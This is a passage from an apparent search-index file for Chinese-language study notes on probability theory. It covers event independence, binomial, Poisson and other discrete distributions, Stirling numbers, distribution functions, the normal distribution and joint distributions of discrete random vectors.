\\(B\\) \u76f8\u4e92\u72ec\u7acb\uff0c\\(B\\) \u4e0e \\(C\\) \u76f8\u4e92\u72ec\u7acb\uff0c\\(C\\) \u4e0e \\(A\\) \u76f8\u4e92\u72ec\u7acb</p> \\[ \\left\\{\\begin{array}{l}     P(A B)=P(A) \\cdot P(B) \\\\     P(A C)=P(A) \\cdot P(C) \\\\     P(B C)=P(B) \\cdot P(C)     \\end{array}\\right. \\] <p>\u4f46\u662f\u6709\u53ef\u80fd</p> \\[ P(ABC) \\neq P(A)\\cdot P(B)\\cdot P(C) \\] </li> <li> <p>\u6574\u4f53\u76f8\u4e92\u72ec\u7acb\uff1a\u5373\u6ee1\u8db3</p> \\[ P(ABC)=P(A)\\cdot P(B)\\cdot P(C) \\] </li> </ul> <p>\u540c\u65f6\u6ee1\u8db3\u4e24\u4e24\u72ec\u7acb\u548c\u6574\u4f53\u7684\u76f8\u4e92\u72ec\u7acb\uff0c\u624d\u80fd\u8bf4 \\(A, B, C\\) \u76f8\u4e92\u72ec\u7acb\u3002 \u4e14A\u4e0eBC\u7684\u5e76\uff0c\u4ea4\uff0c\u5dee\u7b49\u4e5f\u662f\u72ec\u7acb\u7684\u3002</p> \u63a8\u5e7f\u5230 \\(n\\) \u4e2a\u4e8b\u4ef6 <p>\u63a8\u5e7f\u5230 \\(n\\) \u4e2a\u4e8b\u4ef6\uff0c\\(A_1,A_2,\\cdots,A_n\\) \u76f8\u4e92\u72ec\u7acb\u9700\u8981\u6ee1\u8db3\uff1a\\(\\forall r&lt;n\\)\uff0c\\(A_1,A_2,\\cdots,A_n\\) \u4e2d\u4efb\u610f \\(r\\) \u4e2a\u4e8b\u4ef6\u90fd\u76f8\u4e92\u72ec\u7acb\uff0c\u4e14</p> \\[     P\\left(\\prod_{i=1}^nA_i\\right)=\\prod_{i=1}^n P(A_i) \\] <p>\u6216\u8005\u53ef\u4ee5\u76f4\u63a5\u8fd9\u4e48\u5b9a\u4e49\uff1a\\(A_1,A_2,\\cdots,A_n\\) \u76f8\u4e92\u72ec\u7acb\uff0c\u5982\u679c</p> \\[\\forall r \\leqslant n (r\\in \\mathbf{N_+}),\\; P \\left( \\prod_{i=1}^r A_{n_i} \\right) = \\prod_{i=1}^r P(A_{n_i}),\\; 1 \\leqslant n_1 &lt; n_2 &lt; \\cdots &lt;n_r \\leqslant n\\]"},{"location":"NOTE/Probability/first/#_19","title":"\u4f2f\u52aa\u5229\u8bd5\u9a8c","text":"<p>\u4f2f\u52aa\u5229\u6982\u578b\uff08Bernoulli trial\uff09\u662f\u6982\u7387\u8bba\u4e2d\u7684\u4e00\u4e2a\u57fa\u672c\u6982\u5ff5\uff0c\u5b83\u63cf\u8ff0\u4e86\u53ea\u6709\u4e24\u4e2a\u53ef\u80fd\u7ed3\u679c\u7684\u968f\u673a\u8bd5\u9a8c\uff0c\u901a\u5e38\u79f0\u4e3a\u201c\u6210\u529f\u201d\u548c\u201c\u5931\u8d25\u201d\u3002\u6bcf\u6b21\u8bd5\u9a8c\u90fd\u662f\u72ec\u7acb\u7684\uff0c\u5e76\u4e14\u6bcf\u6b21\u6210\u529f\u7684\u6982\u7387\u90fd\u662f\u76f8\u540c\u7684\uff0c\u8bb0\u4f5c \\( p \\)\uff0c\u800c\u5931\u8d25\u7684\u6982\u7387\u5219\u4e3a \\( 1-p \\)\u3002</p> <p>\u4f2f\u52aa\u5229\u6982\u578b\u7684\u7279\u70b9\u5305\u62ec\uff1a</p> <ol> <li>\u53ea\u6709\u4e24\u4e2a\u7ed3\u679c\uff1a\u6bcf\u6b21\u8bd5\u9a8c\u7684\u7ed3\u679c\u53ea\u80fd\u662f\u6210\u529f\u6216\u5931\u8d25\u3002</li> <li>\u72ec\u7acb\u6027\uff1a\u6bcf\u6b21\u8bd5\u9a8c\u7684\u7ed3\u679c\u4e0d\u4f1a\u5f71\u54cd\u5176\u4ed6\u8bd5\u9a8c\u3002</li> <li>\u56fa\u5b9a\u7684\u6210\u529f\u6982\u7387\uff1a\u6bcf\u6b21\u8bd5\u9a8c\u4e2d\u6210\u529f\u7684\u6982\u7387 \\( p \\) \u662f\u4e0d\u53d8\u7684\u3002</li> </ol> <p>\u4f2f\u52aa\u5229\u6982\u578b\u5e38\u7528\u4e8e\u5efa\u6a21\u5404\u79cd\u73b0\u5b9e\u60c5\u51b5\uff0c\u6bd4\u5982\u629b\u786c\u5e01\u3001\u8c03\u67e5\u6295\u7968\u7b49\u3002\u5728\u591a\u4e2a\u4f2f\u52aa\u5229\u8bd5\u9a8c\u7684\u57fa\u7840\u4e0a\uff0c\u6709\u4e8c\u9879\u5206\u5e03</p> <p>\u4e8c\u9879\u5206\u5e03(Binomial distribution)\u662fn\u91cd\u4f2f\u52aa\u5229\u8bd5\u9a8c\u6210\u529f\u6b21\u6570\u7684\u79bb\u6563\u6982\u7387\u5206\u5e03\uff0c\u8bb0\u4f5c\\(B(n,p)\\)\u3002</p> \\[ P(X = k) = \\binom{n}{k} p^k (1-p)^{n-k} \\] <p>\u5176\u4e2d\uff0c\\( \\binom{n}{k} \\) \u662f\u7ec4\u5408\u6570\uff0c\u8868\u793a\u4ece \\( n \\) \u6b21\u8bd5\u9a8c\u4e2d\u9009\u62e9 \\( k \\) \u6b21\u6210\u529f\u7684\u65b9\u5f0f\u603b\u6570\u3002\u4e8c\u9879\u5206\u5e03\u9002\u7528\u4e8e\u63cf\u8ff0\u5728 \\( n \\) \u6b21\u72ec\u7acb\u7684\u4f2f\u52aa\u5229\u8bd5\u9a8c\u4e2d\uff0c\u6210\u529f\u53d1\u751f\u7684\u6b21\u6570\u3002</p> <p>Example</p> <p>\u4e00\u679a\u786c\u5e01\u629b 10 \u6b21\uff0c\u6c42\u6070\u597d 3 \u6b21\u6b63\u9762\u671d\u4e0a\u7684\u6982\u7387\u3002</p> <p>\u8fd9\u662f\u4e00\u4e2a\u4e8c\u9879\u5206\u5e03\u95ee\u9898\uff0c\u5176\u4e2d \\( n = 10 \\)\uff0c\\( k = 3 \\)\uff0c\\( p = 0.5 \\)\u3002\u4ee3\u5165\u516c\u5f0f\uff0c\u6709\uff1a</p> \\[ P(B_3) = \\binom{10}{3} \\times 0.5^3 \\times 0.5^{10-3} = 0.1172. \\] <p>\u6240\u4ee5\u6070\u597d 3 \u6b21\u6b63\u9762\u671d\u4e0a\u7684\u6982\u7387\u662f 0.1172\u3002</p>"},{"location":"NOTE/Probability/first/#_20","title":"\u4e58\u79ef\u6982\u7387\u7a7a\u95f4","text":"<p>\u4e58\u79ef\u6982\u7387\u7a7a\u95f4</p> <p>\u8bbe\u6709\u4e24\u4e2a\u6982\u7387\u7a7a\u95f4 \\((\\Omega_1, \\mathcal{F}_1, P_1)\\) \u548c \\((\\Omega_2, \\mathcal{F}_2, P_2)\\),\u5bf9\u5e94\u8bd5\u9a8c\u4e3a \\(E_1\\) \u548c \\(E_2\\),\u72ec\u7acb\u5730\u505a\u4e24\u4e2a\u8bd5\u9a8c\uff0c\u8bb0\u5f55\u5176\u7ed3\u679c\u4e3a \\((\\omega_1, \\omega_2)\\),\u5219\u79f0 \\((\\Omega_1 \\times \\Omega_2, \\mathcal{F}_1 \\times \\mathcal{F}_2, P_1 \\times P_2)\\) \u4e3a \\((\\Omega_1, \\mathcal{F}_1, P_1)\\) \u548c \\((\\Omega_2, \\mathcal{F}_2, P_2)\\) \u7684 \u4e58\u79ef\u6982\u7387\u7a7a\u95f4\u3002</p> <p>\u5176\u4e2d\u4e8b\u4ef6\u4e8b\u4ef6 \\(A\\)</p> \\[     A=\\{(\\omega_1, \\omega_2) \\mid \\omega_1 \\in A_1, \\omega_2 \\in A_2\\} \\] <p>\u5176\u6982\u7387</p> \\[     P(A)=P(A_1)P(A_2) \\] <p>Note</p> <p>\u4e24\u4e2a\u8bd5\u9a8c\u7684\u4e58\u79ef\u6982\u7387\u7a7a\u95f4\u53ef\u4ee5\u5728\u4e8c\u7ef4\u5e73\u9762\u4e0a\u8868\u793a</p> Simpson \u6096\u8bba \\[     ad&gt;bc;eh&gt;fg;\\\\     (a+e)(d+h)&lt;(b+f)(c+g) \\] <p>\u7ea6\u675f\u6761\u4ef6\u4e3a</p> \\[     a+b+c+d+e+f+g+h=1\\\\     a,b,c,d,e,f,g,h&gt;0 \\]"},{"location":"NOTE/Probability/others/","title":"\u6982\u7387\u76f8\u5173\u7684\u77e5\u8bc6","text":"<p> \u7ea6 443 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 2 \u5206\u949f</p> <p>\u8bb0\u5f55\u4e00\u4e9b\u5b66\u4e60\u8fc7\u7a0b\u4e2d\u53d1\u73b0\u7684\u6709\u8da3\u7684\u6982\u7387\u95ee\u9898</p> <p>Danger</p> <p>\u76f8\u4e92\u72ec\u7acb\uff0c\u4ea4\u4e8b\u4ef6\u53ef\u4ee5\u62c6\u5f00\u53d8\u6210\u6982\u7387\u76f8\u4e58\uff1b \u4e14\u82e5AB\u72ec\u7acb\uff0c\u5219A\u4e0eB\u7684\u8865\u4e8b\u4ef6\u4e5f\u72ec\u7acb</p> \\[     P(A \\cap B) = P(A) \\cdot P(B) \\] <p>\u4e92\u4e0d\u76f8\u4ea4(\u4e92\u65a5)\uff0c\u5e76\u4e8b\u4ef6\u53ef\u4ee5\u62c6\u5f00\u53d8\u6210\u6982\u7387\u76f8\u52a0\u3002</p> \\[     P(A \\cup B) = P(A) + P(B) \\] <p>n \u4e2a\u7403\u653e\u5165m\u4e2a\u4e0d\u540c\u7684\u76d2\u5b50</p> \u7403 \u76d2 \u5141\u8bb8\u7a7a \u65b9\u6848\u6570 \u4e0d\u540c \u4e0d\u540c \u662f \\( m^n \\) \u4e0d\u540c \u4e0d\u540c \u5426 \\( m! \\cdot S(n, m) \\) \u4e0d\u540c \u76f8\u540c \u662f \\(\\sum_{k=0}^{m} S(n, k)\\) \u4e0d\u540c \u76f8\u540c \u5426 \\( S(n, m) \\) \u76f8\u540c \u4e0d\u540c \u662f \\( \\binom{n+m-1}{m-1} \\) \u76f8\u540c \u4e0d\u540c \u5426 \\( \\binom{n-1}{m-1} \\) \u76f8\u540c \u76f8\u540c \u662f \\( dp(n, m) \\) \u76f8\u540c \u76f8\u540c \u5426 \\( dp(n-m, m) \\) <p>\u5176\u4e2d \\(S(n,m)\\) \u4e3a\u7b2c\u4e8c\u7c7b Stirling \u6570\uff08Stirling numbers of the second kind\uff09\u662f\u7ec4\u5408\u6570\u5b66\u4e2d\u7684\u4e00\u4e2a\u91cd\u8981\u6982\u5ff5\uff0c\u7528\u6765\u63cf\u8ff0\u5982\u4f55\u5c06 \\(n\\) \u4e2a\u4e0d\u540c\u7684\u5143\u7d20\u5212\u5206\u4e3a \\(m\\) \u4e2a\u975e\u7a7a\u7684\u65e0\u5e8f\u5b50\u96c6\u3002\u66f4\u5177\u4f53\u5730\u8bf4\uff0c\\( S(n, m) \\) \u8868\u793a\u7684\u662f\u6709\u591a\u5c11\u79cd\u65b9\u6cd5\u53ef\u4ee5\u628a\u4e00\u4e2a\u5305\u542b \\(n\\) \u4e2a\u5143\u7d20\u7684\u96c6\u5408\u5212\u5206\u6210 \\(m\\) \u4e2a\u975e\u7a7a\u5b50\u96c6\u3002</p> <p>\u8ba1\u7b97\u516c\u5f0f</p> <p>\u7b2c\u4e8c\u7c7b\u65af\u7279\u6797\u6570 \\( S(n, m) \\) \u7684\u9012\u63a8\u516c\u5f0f\u5982\u4e0b\uff1a</p> \\[ S(n, m) = m \\cdot S(n-1, m) + S(n-1, m-1) \\] <p>\u5176\u4e2d\uff0c\u8fb9\u754c\u6761\u4ef6\u662f\uff1a</p> <ul> <li>\\( S(0, 0) = 1 \\)</li> <li> <p>\u5bf9\u4e8e \\( n &gt; 0 \\)\uff0c \\( S(n, 0) = 0 \\) \u4e14 \\( S(n, n) = 1 \\)</p> </li> <li> <p>\\( m \\cdot S(n-1, m) \\)\uff1a\u5c06\u7b2c \\(n\\) \u4e2a\u5143\u7d20\u653e\u5165\u73b0\u6709\u7684 \\(m\\) \u4e2a\u5b50\u96c6\u4e2d\u7684\u67d0\u4e00\u4e2a\u3002\u5171\u6709\\(m \\cdot S(n-1, m)\\)\u79cd \u3002</p> </li> <li>\\( S(n-1, m-1) \\)\uff1a\u5c06\u7b2c \\(n\\) \u4e2a\u5143\u7d20\u4f5c\u4e3a\u4e00\u4e2a\u65b0\u7684\u5b50\u96c6\u3002</li> </ul> <p>Eg</p> <p>\u4f8b\u5982\uff0c\\( S(3, 2) = 3 \\)\uff0c\u8868\u793a\u6709 3 \u79cd\u65b9\u6cd5\u53ef\u4ee5\u5c06 3 \u4e2a\u5143\u7d20\u5206\u6210 2 \u4e2a\u975e\u7a7a\u5b50\u96c6\uff0c\u5206\u522b\u662f\uff1a</p> <ul> <li>{1, 2}, {3}</li> <li>{1, 3}, {2}</li> <li>{2, 3}, {1}</li> </ul>"},{"location":"NOTE/Probability/others/#stirling","title":"Stirling \u516c\u5f0f","text":"\\[     n! \\approx \\sqrt{2\\pi n} \\left( \\frac{n}{e} \\right)^n \\]"},{"location":"NOTE/Probability/second/","title":"\u968f\u673a\u53d8\u91cf\u4e0e\u968f\u673a\u5411\u91cf","text":"<p> \u7ea6 2495 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 9 \u5206\u949f</p>"},{"location":"NOTE/Probability/second/#_2","title":"\u968f\u673a\u53d8\u91cf","text":""},{"location":"NOTE/Probability/second/#_3","title":"\u968f\u673a\u53d8\u91cf\u7684\u6982\u5ff5","text":"<p>\u968f\u673a\u53d8\u91cf</p> <p>\u5b9a\u4e49\u6982\u7387\u7a7a\u95f4 \\((\\Omega, \\mathcal{F}, P)\\) \u4e0a\u7684\u5355\u503c\u5b9e\u51fd\u6570 \\(\\xi(\\omega)\\)\uff0c\u5373</p> \\[ \\xi: \\Omega\\to \\mathbb R \\] <p>\u8fd8\u8981\u6c42 \\(\\xi(\\omega)\\) \u7684\u4efb\u610f\u53d6\u503c\u7ec4\u5408\u5bf9\u5e94\u7684\u6837\u672c\u70b9\u96c6\u5408\u6784\u6210\u7684\u4e8b\u4ef6\u5728\u4e8b\u4ef6\u57df \\(\\mathcal{F}\\) \u4e2d\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u79f0 \\(\\xi(\\omega)\\) \u4e3a \u968f\u673a\u53d8\u91cf (random variable)</p> <p>\u5373\u5c06\\(\\xi\\)\u770b\u6210\u4e00\u4e2a\u51fd\u6570\uff0c\u6211\u4eec\u5e0c\u671b\u5b83\u7684\u503c\u57df\u96c6\u5408\\(A(\\in R)\\)\u4e5f\u6ee1\u8db3\u4e8b\u4ef6\u7684\u8fd0\u7b97\uff0c\u6240\u4ee5\u8981\u6c42\u5b83\u662f\u535a\u96f7\u5c14\u96c6,\u843d\u5728\u535a\u96f7\u5c14\u57df\\(\\mathcal{B}\\)\u4e2d\uff0c\u5373\u4ece\u4e8b\u4ef6\u57df\\(\\mathcal{F}\\)\u5230\u4e8b\u4ef6\u57df\u7684\u6620\u5c04\uff0c\u7531\u4e8e\u539f\\(\\Omega\\)\u4e2d\u7684\u6837\u672c\u70b9\u6620\u5c04\u5230\u4e86\\(\\mathbb R\\)\u4e2d\uff0c\u6240\u4ee5\u6620\u5c04\u4e4b\u540e\u7684\u4e8b\u4ef6\u57df\u79f0\u4e3a\u6ce2\u5217\u5c14\u57df\\(\\mathcal{B}\\)</p>"},{"location":"NOTE/Probability/second/#_4","title":"\u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf","text":"<p>\u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf\uff1a\u968f\u673a\u53d8\u91cf \\(\\xi\\) \u53ef\u53d6\u7684\u503c\u81f3\u591a\u53ef\u5217\u4e2a\u3002</p> <p>\u5206\u5e03\u5217 (distribution sequence)</p> \\[ \\left[ \\begin{matrix} x_1&amp;x_2&amp;\\cdots&amp;x_n&amp;\\cdots\\\\ p(x_1)&amp;p(x_2)&amp;\\cdots&amp;p(x_n)&amp;\\cdots \\end{matrix} \\right] \\] <p>\u7b2c\u4e00\u884c\u662f \\(\\xi\\) \u53ef\u80fd\u53d6\u7684\u503c\uff0c\u7b2c\u4e8c\u884c\u662f \\(\\xi\\) \u53d6\u8fd9\u4e9b\u503c\u7684\u6982\u7387\u3002</p> <p>\u5206\u5e03\u5217\u7684\u6027\u8d28</p> <ul> <li>\u6b63\u6027\uff0c\u5373</li> </ul> \\[ p(x_i)&gt;0,i=1,2\\cdots \\] <ul> <li>\u89c4\u8303\u6027\uff0c\u5373</li> </ul> \\[ \\sum_{i=1}^\\infty p(x_i)=1 \\] <p>Examples</p> <p>\u5bf9\u4e00\u4e9b\u5e38\u89c1\u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf\u4e3e\u4f8b\u5982\u4e0b\uff1a</p> \u9000\u5316\u5206\u5e03\u4e24\u70b9\u5206\u5e03\u4e8c\u9879\u5206\u5e03\u6cca\u677e\u5206\u5e03\u51e0\u4f55\u5206\u5e03\u8d85\u51e0\u4f55\u5206\u5e03 <p>\u5373 degenerate distribution</p> \\[ \\left[ \\begin{matrix} c\\\\ 1 \\end{matrix} \\right] \\] <p>\u5373\u6837\u672c\u7a7a\u95f4\u7684\u6240\u6709\u70b9\u90fd\u6620\u5c04\u5230\u4e00\u4e2a\u786e\u5b9a\u7684\u5b9e\u6570\u4e0a\uff0c\u6982\u7387\u4e3a1</p> <p>\u5373 \u4f2f\u52aa\u5229\u5206\u5e03 \uff0cBernoulli distribution</p> \\[ \\left[ \\begin{matrix} 1&amp;0\\\\ p&amp;1-p \\end{matrix} \\right],p\\in (0,1) \\] <p>\u5373 binomial distribution</p> \\[ P(\\xi=k)=\\begin{pmatrix}     n\\\\k \\end{pmatrix} p^k(1-p)^{n-k},p\\in (0,1),k=0,1,\\cdots,n \\] <p>\u8bb0\u4e3a \\(\\xi\\sim B(n,p)\\)</p> <p>\u5373 Poisson distribution</p> \\[ P(\\xi=k)=\\frac{\\lambda^k}{k!}e^{-\\lambda} ,\\lambda&gt;0,k\\in \\mathbb N \\] <p>\u8bb0\u4e3a \\(\\xi\\sim\\mathcal{P}(\\lambda)\\)</p> <p>\u5bf9\u4e8e\u4e8c\u9879\u5206\u5e03\uff0c\u5f53 \\(n\\to\\infty,np=\\lambda\\) \u65f6\uff0c\u4e8c\u9879\u5206\u5e03\u8d8b\u8fd1\u4e8e\u6cca\u677e\u5206\u5e03\u3002</p> \\[\\begin{align*} \\lim_{n\\to\\infty}\\begin{pmatrix}     n\\\\k \\end{pmatrix}p^k(1-p)^{n-k}&amp;=\\frac{1}{k!}n(n-1)\\cdots(n-k+1)\\frac{1}{n^k}(np)^k(1-\\frac{np}{n})^{n-k}\\\\ &amp;=\\frac{\\lambda^k}{k!}(1-\\frac{1}{n})\\cdots(1-\\frac{k-1}{n})e^{-\\lambda}\\\\ &amp;=\\frac{\\lambda^k}{k!}e^{-\\lambda}\\\\ \\end{align*}\\] <p>Note</p> <p>\u5176\u4e2d \\(\\lambda=np\\) \u662f\u6cca\u677e\u5206\u5e03\u7684\u53c2\u6570\uff0c\u4e5f\u662f\u5b83\u7684\u6570\u5b66\u671f\u671b\uff1b \u56e0\u4e3a</p> \\[\\begin{align*}     E_{\\xi\\sim P(\\lambda)}(\\xi)&amp;=\\sum_{k=0}^\\infty k\\frac{\\lambda^k}{k!}e^{-\\lambda}\\\\     &amp;=\\lambda\\sum_{k=1}^\\infty\\frac{\\lambda^{k-1}}{(k-1)!}e^{-\\lambda}\\\\     &amp;=\\lambda e^{\\lambda}e^{-\\lambda}\\\\     &amp;=\\lambda \\end{align*}\\] <p>\u5373 geometry distribution,\u4e00\u822c\u7528\u4e8e\u89e3\u51b3\u7b2c\u4e00\u6b21\u6210\u529f\u7684\u95ee\u9898</p> \\[ P(\\xi=k)=p(1-p)^{k-1},p\\in (0,1),k\\in \\mathbb{N}_+ \\] <p>\u5373 hypergeometry distribution\uff0c\u4e00\u822c\u7528\u4e8e\u89e3\u51b3\u6b21\u54c1\u62bd\u6837\u95ee\u9898 </p> \\[ P(\\xi=k)=\\frac{\\displaystyle \\begin{pmatrix}     M\\\\k \\end{pmatrix} \\begin{pmatrix}     N-M\\\\n-k \\end{pmatrix}     }{\\displaystyle \\begin{pmatrix}     N\\\\n \\end{pmatrix}} ,n\\leqslant N,M\\leqslant N,k=0,1,\\cdots, \\min\\{n,M\\} \\]"},{"location":"NOTE/Probability/second/#_5","title":"\u5206\u5e03\u51fd\u6570\u4e0e\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf","text":"<p>\u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf\u662f\u7528\u5206\u5e03\u5217\u6765\u63cf\u8ff0\u7684\uff0c\u800c\u5bf9\u4e8e\u67d0\u4e9b\u60c5\u51b5\uff0c\u4f8b\u5982\u968f\u673a\u53d8\u91cf\u53ef\u4ee5\u5728\u67d0\u4e00\u4e2a\u533a\u95f4\u5185\u53d6\u4efb\u610f\u503c\uff0c\u8fd9\u4e2a\u65f6\u5019\u5c31\u4e0d\u5b58\u5728\u5206\u5e03\u5217\uff0c\u9700\u8981\u5f15\u5165\u65b0\u7684\u63cf\u8ff0\u65b9\u6cd5\u6765\u63cf\u8ff0\u6982\u7387\u5206\u5e03\uff0c\u5e76\u4e14\u6211\u4eec\u5e0c\u671b\u8fd9\u4e2a\u63cf\u8ff0\u65b9\u6cd5\u80fd\u591f\u5bf9\u4e00\u5207\u7684\u968f\u673a\u53d8\u91cf\u90fd\u9002\u7528\u3002</p> <p>\u5206\u5e03\u51fd\u6570</p> <p>\u8bbe \\(\\xi\\) \u662f\u4e00\u4e2a\u968f\u673a\u53d8\u91cf\uff0c\u5bf9\u4efb\u610f\u5b9e\u6570 \\(x\\)\uff0c\u5b9a\u4e49\u51fd\u6570 \\(F(x)\\) \u4e3a</p> \\[ F(x)=P(\\xi \\leqslant x) \\] <p>\u8fd9\u4e2a\u51fd\u6570\u79f0\u4e3a \\(\\xi\\) \u7684 \u5206\u5e03\u51fd\u6570 (distribution function) \u5bf9\u4e8e\u7ed9\u5b9a\u7684\u968f\u673a\u53d8\u91cf \\(\\xi\\)\uff0c\u5176\u5206\u5e03\u51fd\u6570\u662f\u552f\u4e00\u7684\uff0c\u5b83\u662f\u5b9e\u53d8\u91cf \\(x\\) \u7684\u51fd\u6570\uff0c\u4e14\u6ee1\u8db3\uff1a</p> <p>\u6027\u8d28</p> <ul> <li>\u6709\u754c\u6027\uff1a\u4f5c\u4e3a\u4e8b\u4ef6\u7684\u6982\u7387\u81ea\u7136\u6709 \\(0\\leqslant F(x)\\leqslant 1\\)</li> <li> <p>\u5355\u8c03\u4e0d\u51cf\u6027\uff1a\\(x_1&lt;x_2\\Rightarrow F(x_1)\\leqslant F(x_2)\\)</p> </li> <li> <p>\u4f5c\u4e3a\u4e00\u4e2a\u6709\u754c\u7684\u5355\u8c03\u4e0d\u51cf\u51fd\u6570 \\(F(-\\infty)=0\\), \\(F(+\\infty)=1\\)</p> </li> <li>\u53f3\u8fde\u7eed\u6027\uff1a\\(\\lim_{x\\to x_0+0}F(x)=F(x_0)\\)\uff0c\u5de6\u6781\u9650\u5b58\u5728\\(\\lim_{x\\to x_0-0}F(x)=F(x_0)\\)</li> <li>\u5728\u6709\u4e9b\u6559\u6750\u4e2d  </li> </ul> \\[F(x)=P(\\xi &lt; x)\\] <p>\u6b64\u65f6 \\(F(x)\\)\u8981\u6c42\u5de6\u8fde\u7eed,\u53f3\u6781\u9650\u5b58\u5728</p> Note <ul> <li>\u5bf9\u4e8e\u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf\uff0c\u5176\u5206\u5e03\u51fd\u6570\u662f\u9636\u68af\u51fd\u6570</li> <li>\u5bf9\u4e8e\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf\uff0c\u5176\u5206\u5e03\u51fd\u6570\u662f\u8fde\u7eed\u51fd\u6570\uff0c\u91c7\u7528\u5bc6\u5ea6\u51fd\u6570\u79ef\u5206\u6765\u8ba1\u7b97</li> <li>\u53ea\u8981\u51fd\u6570\u503c\u5927\u4e8e0\uff0c\u4e14\u6574\u4e2a\u5b9a\u4e49\u57df\u79ef\u5206\u4e3a1\uff0c\u5c31\u53ef\u4ee5\u53eb\u505a\u5bc6\u5ea6\u51fd\u6570</li> </ul>"},{"location":"NOTE/Probability/second/#_6","title":"\u6b63\u6001\u5206\u5e03","text":"<p>Definition</p> <p>\u82e5\u968f\u673a\u53d8\u91cf \\(\\xi\\) \u7684\u5206\u5e03\u51fd\u6570\u4e3a</p> \\[ F(x)=\\frac{1}{\\sqrt{2\\pi}\\sigma}\\int_{-\\infty}^x e^{-\\frac{(t-\\mu)^2}{2\\sigma^2}}dt \\] <p>\u5176\u4e2d \\(\\mu\\) \u548c \\(\\sigma\\) \u662f\u5e38\u6570\uff0c\u4e14 \\(\\sigma&gt;0\\)\uff0c\u5219\u79f0 \\(\\xi\\) \u670d\u4ece\u53c2\u6570\u4e3a \\(\\mu\\) \u548c \\(\\sigma\\) \u7684 \u6b63\u6001\u5206\u5e03 (normal distribution)\uff0c\u8bb0\u4e3a \\(\\xi\\sim N(\\mu,\\sigma^2)\\)</p> <p>\u6b63\u6001\u5206\u5e03\u7684\u5bc6\u5ea6\u51fd\u6570\u4e3a</p> \\[ f(x)=\\frac{1}{\\sqrt{2\\pi}\\sigma}e^{-\\frac{(x-\\mu)^2}{2\\sigma^2}} \\] <p>\u6b63\u6001\u5206\u5e03\u662f\u6700\u91cd\u8981\u7684\u5206\u5e03\u4e4b\u4e00\uff0c\u5b83\u7684\u5bc6\u5ea6\u51fd\u6570\u662f\u4e00\u4e2a\u949f\u5f62\u66f2\u7ebf\uff0c\u4e14\u5177\u6709\u4ee5\u4e0b\u6027\u8d28\uff1a</p> <p>Property</p> <ul> <li>\u671f\u671b\u503c\uff1a\\(E(\\xi)=\\mu\\)</li> <li>\u65b9\u5dee\uff1a\\(D(\\xi)=\\sigma^2\\)</li> <li>\u6b63\u6001\u5206\u5e03\u7684\u5bc6\u5ea6\u51fd\u6570\u662f\u5173\u4e8e \\(\\mu\\) \u5bf9\u79f0\u7684\uff0c\u5373 \\(f(x)=f(2\\mu-x)\\)</li> </ul> <p>\u6807\u51c6\u6b63\u6001\u5206\u5e03</p> <p>\u82e5 \\(\\xi\\sim N(0,1)\\)\uff0c\u5219\u79f0 \\(\\xi\\) \u670d\u4ece \u6807\u51c6\u6b63\u6001\u5206\u5e03 (standard normal distribution)\uff0c\u8bb0\u4e3a \\(\\xi\\sim N(0,1)\\)</p> <p>\u6b64\u65f6 \\(\\mu=0\\)\uff0c\\(\\sigma=1\\)\uff0c\u5176\u5bc6\u5ea6\u51fd\u6570\u4e3a</p> \\[ f(x)=\\frac{1}{\\sqrt{2\\pi}}e^{-\\frac{x^2}{2}} \\] <p>\u5982\u679c\\(x\\)\u4e0d\u662f\u6807\u51c6\u6b63\u6001\u5206\u5e03\uff0c\u5219\u53ef\u4ee5\u901a\u8fc7</p> \\[     \\eta = \\dfrac{x - \\mu}{ \\sigma}  \\] <p>\u5c06\u5176\u53d8\u4e3a \\(\\eta\\) ,\u6807\u51c6\u5206\u5e03</p> <p>\u867d\u7136\u6807\u51c6\u6b63\u6001\u5206\u5e03\u7684\u663e\u5f0f\u5206\u5e03\u51fd\u6570\u6c42\u4e0d\u51fa\u6765\uff0c\u4f46\u662f\u53ef\u4ee5\u901a\u8fc7\u67e5\u8868\u5f97\u5230\u5176\u503c</p> <p>3 \\(\\sigma\\) \u539f\u5219</p> \\[ 0.6827 \\quad 0.9545 \\quad 0.9973 \\]"},{"location":"NOTE/Probability/second/#_7","title":"\u79bb\u6563\u578b\u968f\u673a\u5411\u91cf","text":"<p>\u7ed9\u5b9a\u6982\u7387\u7a7a\u95f4 \\((\\Omega, A, P)\\)\uff0c\\((X, Y)\\) \u662f 2-\u968f\u673a\u5411\u91cf\u3002</p> <p>\u5047\u8bbe \\(X\\) \u53d6\u503c\u4e3a \\(x_1, x_2, \\dots\\)\uff0c\\(Y\\) \u53d6\u503c\u4e3a \\(y_1, y_2, \\dots\\)\u3002\u90a3\u4e48\u79f0 \\((X, Y)\\) \u4e3a\u79bb\u6563\u578b\u968f\u673a\u5411\u91cf\u3002</p> <p>\u8bb0</p> \\[ p_{ij} = P(X = x_i, Y = y_j), \\quad i, j = 1, 2, \\dots \\] <p>\u6ee1\u8db3</p> \\[ p_{ij} \\geq 0, \\quad \\sum_{i,j} p_{ij} = 1 \\] <p>\u79f0</p> \\[ \\left( (x_i, y_j), p_{ij} \\right)_{i,j=1}^{\\infty} \\] <p>\u4e3a\u968f\u673a\u5411\u91cf \\((X, Y)\\) \u7684\u8054\u5408\u5206\u5e03\u3002</p> <p>\u5bf9\u4e8e\u4efb\u610f Borel \u96c6\u5408 \\( A, B \\),</p> \\[ P(X \\in A, Y \\in B) = \\sum_{i: x_i \\in A, j: y_j \\in B} p_{ij} \\] <p>\u7279\u522b\u5730\uff0c</p> \\[ P(X \\leq x, Y \\leq y) = \\sum_{i: x_i \\leq x, j: y_j \\leq y} p_{ij} \\]"},{"location":"NOTE/Probability/second/#_8","title":"\u8fb9\u9645\u5206\u5e03","text":"<p>\\( X, Y \\) \u7684\u5206\u5e03\u53ef\u4ee5\u7531 \\( p_{ij} \\) \u8ba1\u7b97\u5f97\u5230</p> \\[ X \\sim \\begin{pmatrix} x_1 &amp; x_2 &amp; \\dots &amp; x_i &amp; \\dots \\\\ p_1. &amp; p_2. &amp; \\dots &amp; p_i. &amp; \\dots \\end{pmatrix} \\] <p>\u5176\u4e2d</p> \\[ p_{i.} = 